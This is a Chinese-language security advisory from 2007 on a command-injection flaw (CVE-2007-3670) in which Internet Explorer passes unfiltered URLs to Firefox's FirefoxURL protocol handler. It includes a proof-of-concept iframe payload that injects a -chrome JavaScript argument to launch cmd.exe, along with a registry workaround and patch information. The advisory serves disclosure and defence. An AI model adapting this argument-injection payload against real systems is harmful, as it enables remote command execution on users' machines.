安全研究
安全漏洞
Microsoft IE FirefoxURL协议处理器命令注入漏洞
发布日期:2007-07-10
更新日期:2007-07-17
受影响系统:
Microsoft Internet Explorer 7.0不受影响系统:
Microsoft Internet Explorer 7 Beta 2
Microsoft Internet Explorer 7 Beta 1
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Mozilla Firefox 2.0.0.4
- Microsoft Windows XP SP2
Mozilla Firefox 2.0.0.5描述:
BUGTRAQ ID: 24837
CVE(CAN) ID: CVE-2007-3670,CVE-2007-4038
Internet Explorer是微软发布的非常流行的WEB浏览器。
IE在安装了Firefox的机器上调用特定的协议处理器时存在命令注入漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意命令。
在Windows系统上,如果安装了Firefox的话,Firefox会安装一些Mozilla专用协议(如FirefoxURL和FirefoxHTML)的协议处理器。如果Windows遇到了无法处理的URL协议,就会在Windows注册表中搜索适当的协议处理器,找到了正确的处理器后就会向其传送URL字符串,但没有执行任何过滤。
假设在Windows系统上安装了Firefox且注册了FirefoxURL协议处理器,通常这个协议处理器的的shell open命令如下:
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url “%1″ -requestPending
当Internet Explorer遇到了对FirefoxURL URL方案中内容的引用时,会以EXE镜像路径调用ShellExecute,并未经任何输入验证便传送了整个请求URI。以下请求:
FirefoxURL://foo” –argument “my value
会导致使用以下命令行启动Firefox:
“C:\PROGRA~1\MOZILL~2\FIREFOX.EXE” -url “firefoxurl://foo” –argument “my value/” –requestPending
因此可以对firefox.exe进程指定任意参数,这就等于获得了-chrome命令行参数,因为攻击者可以指定任意Javascript代码,然后以可信任Chrome内容的权限执行。
<*来源:Thor Larholm (Thor@jubii.dk)
链接:http://secunia.com/advisories/25984/
http://www.kb.cert.org/vuls/id/358017
http://blog.mozilla.com/security/2007/07/10/security-issue-in-url-protocol-handling-on-windows/
http://www.xs-sniper.com/sniperscope/IE-Pwns-Firefox.html
http://larholm.com/2007/07/10/internet-explorer-0day-exploit/
http://www.mozilla.org/security/announce/2007/mfsa2007-23.html
http://www.us-cert.gov/cas/techalerts/TA07-199A.html
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=565
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<iframe src=’firefoxurl://larholm.com” -chrome “javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+
String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+
String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,['/k%20echo%20hello%20from%20larholm.com'],1);
'><
</body></html>
建议:
临时解决方法:
* 禁用Mozilla Firefox协议处理器,删除或重新命名以下注册表项:
HKEY_CLASSES_ROOT\FirefoxURL
HKEY_CLASSES_ROOT\FirefoxHTML
厂商补丁:
Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases/2.0.0.5
浏览次数:2833
严重程度:0(网友投票)
绿盟科技给您安全的保障
